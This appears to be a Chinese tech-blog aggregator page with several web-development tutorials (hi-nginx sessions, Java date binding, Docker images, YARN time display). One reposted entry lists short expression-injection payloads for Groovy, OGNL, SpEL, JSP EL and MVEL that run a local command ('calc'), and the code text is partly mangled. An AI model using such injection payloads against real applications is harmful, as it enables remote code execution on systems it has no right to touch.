首页 文章 精选 留言 我的

精选列表

搜索[Web安全],共10000篇文章
优秀的个人博客,低调大师

基于hi-nginx的web开发(python篇)——cookie和会话管理

hi-nginx通过redis管理会话。 要开启管理,需要做三件事。 第一件开启userid: userid on; userid_name SESSIONID; userid_domain localhost; userid_path /; userid_expires 300s; 这个功能是nginx内建的,可以直接使用。需要注意的是,hi-nginx只认识SESSIONID的userid_name。 第二件是配置redis服务器: hi_redis_host 127.0.0.1; hi_redis_port 6379; 当然,你应该先安装redis并确保它运行。 第三件是在location段开启会话管理: location / { hi_need_session on; hi_session_expires 300s; hi_python_script python/index.py; } 整个nginx配置写下来,就是: 1 server { 2 listen 8080; 3 server_name localhost; 4 5 userid on; 6 userid_name SESSIONID; 7 userid_domain localhost; 8 userid_path /; 9 userid_expires 300s; 10 11 hi_redis_host 127.0.0.1; 12 hi_redis_port 6379; 13 14 15 location / { 16 hi_need_cache off; 17 hi_cache_expires 5s; 18 19 hi_need_session on; 20 hi_session_expires 300s; 21 hi_python_script python/index.py; 22 } 23 } 需要注意是,应该确保hi_session_expires和userid_expires的值保持一致。 配置写完后,记得reload或者restart nginx。 接下来就是使用会话管理的api了。 说来太简单,都不好意思写出来,用req.has_session,req.get_session和res.session即可: @app.route('^/session/?$',['GET']) def session(req,res,param): k='test' v=0 if req.has_session(k): v=int(req.get_session(k)) res.session(k,str(v+1)) else: res.session(k,str(v)) res.content('{}={}'.format(k,v)) res.status(200) 那么,cookie怎么办?人们使用cookie的一大用途建立会话机制。上文已经把会话管理的使用说清楚了。所以使用hi.py框架时不需要特别留意cookie的管理。当然,如果你想自己管理cookie,hi-nginx也提供req.has_cookie和req.get_cookie两个只读api。如果要写api,可以使用res.header来写。比如: 在location段中添加hi_need_cookies on 1 location / { 2 hi_need_cache off; 3 hi_cache_expires 5s; 4 hi_need_cookies on; 5 hi_need_session on; 6 hi_session_expires 300s; 7 hi_python_script python/index.py; 8 } 在操作函数中在添加相关操作: @app.route('^/session/?$',['GET']) def session(req,res,param): k='test' v=0 if req.has_session(k): v=int(req.get_session(k)) res.session(k,str(v+1)) else: res.session(k,str(v)) cv=v if req.has_cookie(k): cv=int(req.get_cookie(k)) res.header('Set-Cookie','{}={};Path={};Domain={}'.format(k,cv+1,'/','localhost')) else: res.header('Set-Cookie','{}={};Path={};Domain={}'.format(k,cv,'/','localhost')) res.content('session:{0}={1},cookie:{0}={2}'.format(k,v,cv)) res.status(200) 如上所见,在hi.py中操控和管理cookie和会话是非常方便的,用来写个登陆或者购物车什么的,配合hi.py的jinja2模板引擎,简直易如反掌。

优秀的个人博客,低调大师

基于hi-nginx的web开发(python篇)——utf-8编码

一致地utf-8编码,非常重要。对python2而言,尤其如此。 如果在hi-nginx中使用的是python2,同时又需要无障碍地使用中日韩等文字,那么一定不要忘记使用: #-*- coding:utf-8 -*- 同时,任何模板文件,也应该使用utf-8编码。这样就可以避免许多无谓的错误了。 因为hi.py框架在引入时,会自动检查sys模块的默认编码,并重设置为utf-8编码: if sys.version_info.major < 3: reload(sys) sys.setdefaultencoding('utf-8') 所以使用hi.py框架时,务必牢记一切归于utf-8。

优秀的个人博客,低调大师

在java Web项目中处理前后端日期字段自动匹配绑定

在java开发中,经常会遇到前后端交互日期格式,一般我们都会用日期格式化来处理,但时间久了,你是否感觉到繁琐而且冗余呢,本文给出一种全新的解决思路。通过正则提取出日期数字,自动将前端传的日期字符串绑定到对象的日期格式属性上去,省去一切繁琐步骤。闲话少说,文归正传。 定义BaseController public class BaseController implements ServletContextAware{ /** * 日志 **/ protected final Logger log = LoggerFactory.getLogger(BaseController.class); public HttpServletRequest request; public HttpServletResponse response; public HttpSession session; public ServletContext application; /** * 文件 **/ @Autowired(required = false) protected MultipartResolver multipartResolver; /** * @param code * @return */ public static String respJson(CodeEnum code) { return respJson(code, null); } /** * @param code * @param data * @return */ public static String respJson(CodeEnum code, Object data) { JSONObject jsono = new JSONObject(); jsono.put("code", code.getCode()); jsono.put("message", code.getMessage()); if (data != null) { jsono.put("data", data); } return jsono.toJSONString(); } /** * * @param code 错误码 * @param message 内容 * @return */ public static String respJson(String code , String message ) { return respJson(code,message,null); } /** * * @param code * @param message * @param data * @return */ public static String respJson(String code , String message , Object data){ JSONObject jsono = new JSONObject(); jsono.put("code",code); jsono.put("message",message); if (data != null) { jsono.put("data", data); } return JSON.toJSONString(jsono); } @ModelAttribute public void setReqAndRes(HttpServletRequest request, HttpServletResponse response) { this.request = request; this.response = response; this.session = request.getSession(); } public void setServletContext(ServletContext arg0) { this.application = arg0; } /** * 获取传递过来的参数 */ public String getParameter(String key) { return request.getParameter(key); } /** * 分页对象 */ public <T> Page<T> getPage(Class<T> clazz) { Page<T> page = new Page<T>(); String pageNo = getParameter("pageNo"); String pageSize = getParameter("pageSize"); pageNo = pageNo == null || "".equals(pageNo) ? "1" : pageNo; pageSize = pageSize == null || "".equals(pageSize) ? "10" : pageSize; page.setSearchCount(true); page.setSize(Integer.valueOf(pageSize)); page.setCurrent((Integer.valueOf(pageNo))); return page; } protected String redirectOuter(String url) { return "redirect:" + url; } /** * binder用于bean属性的设置 */ @InitBinder public void initBinder(WebDataBinder binder) { binder.registerCustomEditor(Date.class, new DateEditor()); binder.registerCustomEditor(String.class, new StringEscapeEditor()); } /** * 获取传递过来的str参数,并给默认值 */ public String getStrParameter(String key, String defaultValue) { String str = getParameter(key); if (org.apache.commons.lang3.StringUtils.isEmpty(str)) { return defaultValue; } return str.trim(); } } 上述代码中initBinder方法上添加了一个@InitBinder注解,该方法会在请求时被调用,改方法中有个DateEditor类,日期的处理就是在这个里处理完的。 DateEditor类 class DateEditor extends PropertyEditorSupport { @Override public void setAsText(String text) throws IllegalArgumentException { if (StringUtils.isEmpty(text)) { return; } text = text.trim(); Pattern pattern = Pattern.compile("[^0-9]"); Matcher matcher = pattern.matcher(text); text = matcher.replaceAll(""); int length = text.length(); Date date; switch(length){ case 14: date = DateTime.parse(text,DateTimeFormat.forPattern("yyyyMMddHHmmss")).toDate(); break; case 12: date = DateTime.parse(text,DateTimeFormat.forPattern("yyyyMMddHHmm")).toDate(); break; case 10: date = DateTime.parse(text,DateTimeFormat.forPattern("yyyyMMddHH")).toDate(); break; case 8: date = DateTime.parse(text,DateTimeFormat.forPattern("yyyyMMdd")).toDate(); break; case 6: date = DateTime.parse(text,DateTimeFormat.forPattern("yyyyMM")).toDate(); break; case 4: date = DateTime.parse(text,DateTimeFormat.forPattern("yyyy")).toDate(); break; default: return; } setValue(date); } } 如何使用 上面准备完成后,在需要用到的controller中继承BaseController即可! 一般网上的例子仅支持如下格式的日期: yyyyMMdd HH:mm:ss yyyyMMdd HH:mm yyyyMMdd HH yyyyMMdd yyyyMM yyyy 本文的方法,支持包含14、12、10、8、6、4个数字的所有字符串。

优秀的个人博客,低调大师

【转】WEB APP 不同设备屏幕下图片适应分辨率

约翰·格鲁伯:我认为 MobileSafari 不会再逐点对应的渲染图片,因为新旧 iPhone 之间的像素尺寸极为悬殊。 戴夫·海厄特:大多数设计师仍停留在传统的思想:CSS 像素即屏幕像素。然而,当我们进入高 DPI 的世界,用户界面可能被整体放大,一个 CSS 像素会占据多个屏幕像素。 IPHONE 3和 IPHONE 4是最典型的了,图片或ICON,在IPHONE 3能清晰显示的时候,IPHONE 4却会变的很模糊,无奈,只能准备两套图了。好在CSS提供的Media属性,能方便的让我们识别出不同DPI的设备,并以此来应用不同的样式。 首先,看看,常见的IPHONE和 Android屏幕参数。 设备 分辨率 设备像素比率 Android LDPI 320×240 0.75 Iphone 3 & Android MDPI 320×480 1 Android HDPI 480×800 1.5 Iphone 4 960×640 2.0 由此可见,Iphone 4的一个 CSS 像素实际上表现为一块 2×2 的像素。所以图片像是被放大2倍一样,模糊不清晰。 解决办法: 1、页面引用 <link rel="stylesheet" media="screen and (-webkit-device-pixel-ratio: 0.75)" href="ldpi.css" /> <link rel="stylesheet" media="screen and (-webkit-device-pixel-ratio: 1.0)" href="mdpi.css" /> <link rel="stylesheet" media="screen and (-webkit-device-pixel-ratio: 1.5)" href="hdpi.css" /> <link rel="stylesheet" media="screen and (-webkit-device-pixel-ratio: 2.0)" href="retina.css" /> 2、CSS文件里 #header { background:url(mdpi/bg.png); } @media screen and (-webkit-device-pixel-ratio: 1.5) { /*CSS for high-density screens*/ #header { background:url(hdpi/bg.png); } } 注:本文转自http://bbs.blueidea.com/home.php?mod=space&uid=168495&do=blog&id=23366 本文转自Artwl博客园博客,原文链接:http://www.cnblogs.com/artwl/,如需转载请自行联系原作者

优秀的个人博客,低调大师

Docker基于已有的镜像制新的镜像-Docker for Web Developers(3)

1.根据运行的容器制作镜像 #查看所有的容器 docker ps #暂停当前容器 docker pause COTNAINER-ID #将容器运行当前状态提交 docker commit COTNAINER-ID #根据COMMIT-ID打包容器Tag docker tag COMMIT-ID 经过以上几个步骤,根据当前运行的容器制作镜像就完成了。 2.上传镜像到Docker Hub 如果未登录Docker Hub,需要登录Docker Hub docker login #输入用户名和密码 推送镜像到Docker Hub docker push IMAGE-NAME 运行结果如下图所示: 在Docker Hub上可以查看到我们刚刚上传的镜像文件,因为这个镜像是公开的,所以现在所有人都能够docker pull获取该镜像。 3.获取上传的镜像并运行 因为我使用的是同一台Ubuntu机器,我本地已经有了bage88/firstimage这个镜像,我先要删除该镜像,然后再获取。 3.1 删除镜像 #### 删除镜像 docker rmi IMAGE_NAME 提示如下错误,有基于该镜像的容器在运行,所以我先要删除这个容器,再删除镜像。 Error response from daemon: conflict: unable to remove repository reference "bage88/firstimage" (must force) - container 25dca6040e7e is using its referenced image 31758d7d9e60 3.2 删除容器 docker rm 25dca6040e7e(这个是容器ID) 再执行一次删除镜像命令: docker rmi bage88/firstimage ###结果如下,说明删除镜像成功 Untagged: bage88/firstimage:latest Untagged: bage88/firstimage@sha256:dc8a6511903cdcd25cf2d9de76a1c9ba21c050bb7702525fb3e1ba0168071481 Deleted: sha256:31758d7d9e60b3c77bad4f477faae5e9dc87d3d5d16a085263f2f6de58a381ad Deleted: sha256:77757027951c22c480289ef98c6109c6d7df4e0bae9bda5db1e43436159de9e5 3.3 获取镜像 docker pull bage88/firstimage 3.4 运行镜像 docker run -d -p 8010:80 bage88/firstimage 查看结果: 本文转自快乐八哥博客园博客,原文链接http://www.cnblogs.com/liminjun88/p/6839198.html如需转载请自行联系原作者 快乐八哥

优秀的个人博客,低调大师

修改yarn监控web页面上展示的StartFime和FinishTime【GMT时间】

应用场景 当部署好hadoop集群后,搭建了YARN集群,开启了hadoop的HDFS和YARN服务,访问主节点IP和8088端口的YARN监控界面,发现这个All Applications界面中的开始执行时间和结束执行时间不对,应该往后加8个小时才对,导致在页面中对任务监控的时候容易出错,所以现在要进行修改! 操作步骤 错误显示如上图,如果正确的话,应该加上8小时,才是我应该想要的时间。 将hadoop-yarn-common-2.6.0.jar这个包下载到本地 该包在您安装的hadoop目录中的【/opt/hadoop2.6.0/share/hadoop/yarn】目录中! 然后进入到包中,找到webapps/static/yarn.dt.plugins.js,修改yarn.dt.plugins.js 按照下面修改步骤,修改完后,替换之前的jar包即可! 修改步骤1. 在yarn.dt.plugins.js文件中添加如下代码 Date.prototype.Format = function (fmt) { //author: meizz var o = { "M+": this.getMonth() + 1, //月份 "d+": this.getDate(), //日 "h+": this.getHours(), //小时 "m+": this.getMinutes(), //分 "s+": this.getSeconds(), //秒 "q+": Math.floor((this.getMonth() + 3) / 3), //季度 "S": this.getMilliseconds() //毫秒 }; if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); for (var k in o) if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); return fmt; }; 修改步骤2. 找到函数renderHadoopDate,修改为如下内容: function renderHadoopDate(data, type, full) { if (type === 'display' || type === 'filter') { if(data === '0'|| data === '-1') { return "N/A"; } return new Date(parseInt(data)).Format("yyyy-MM-dd hh:mm:ss"); } // 'sort', 'type' and undefined all just use the number // If date is 0, then for purposes of sorting it should be consider max_int return data === '0' ? '9007199254740992' : data; } 修改后效果

优秀的个人博客,低调大师

一种新的攻击方法——Java Web表达式注入

【转】http://blog.csdn.net/kk_gods/article/details/51840683 1 2 3 4 5 java--Groovy命令执行: static void main(args){ defcmd= "calc" ; println "${cmd.execute()}" ; } 1 2 3 4 5 struts2--OGNL命令执行: ActionContextAC=ActionContext.getContext(); MapParameters=(Map)AC.getParameters(); Stringexpression= "${(newjava.lang.ProcessBuilder('calc')).start()}" ; AC.getValueStack().findValue(expression)); 1 2 3 spring--SPEL命令执行: Stringexpression= "T(java.lang.Runtime).getRuntime().exec(/" calc/ ")" ; Stringresult=parser.parseExpression(expression).getValue().toString(); 1 2 3 4 JSP--JSTL_EL命令执行 <spring:messagetext= "${/" / ".getClass().forName(/" java.lang.Runtime/ ").getMethod(/" getRuntime/ ",null).invoke(null,null).exec(/" calc/ ",null).toString()}" > </spring:message> 1 2 3 4 5 6 7 8 Elasticsearch——MVEL java import org.mvel.MVEL; public class MVELTest{ public static void main(String[]args){ Stringexpression= "newjava.lang.ProcessBuilder(/" calc/ ").start();" ; Booleanresult=(Boolean)MVEL.eval(expression,vars); } } 本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1957765,如需转载请自行联系原作者

资源下载

更多资源
腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册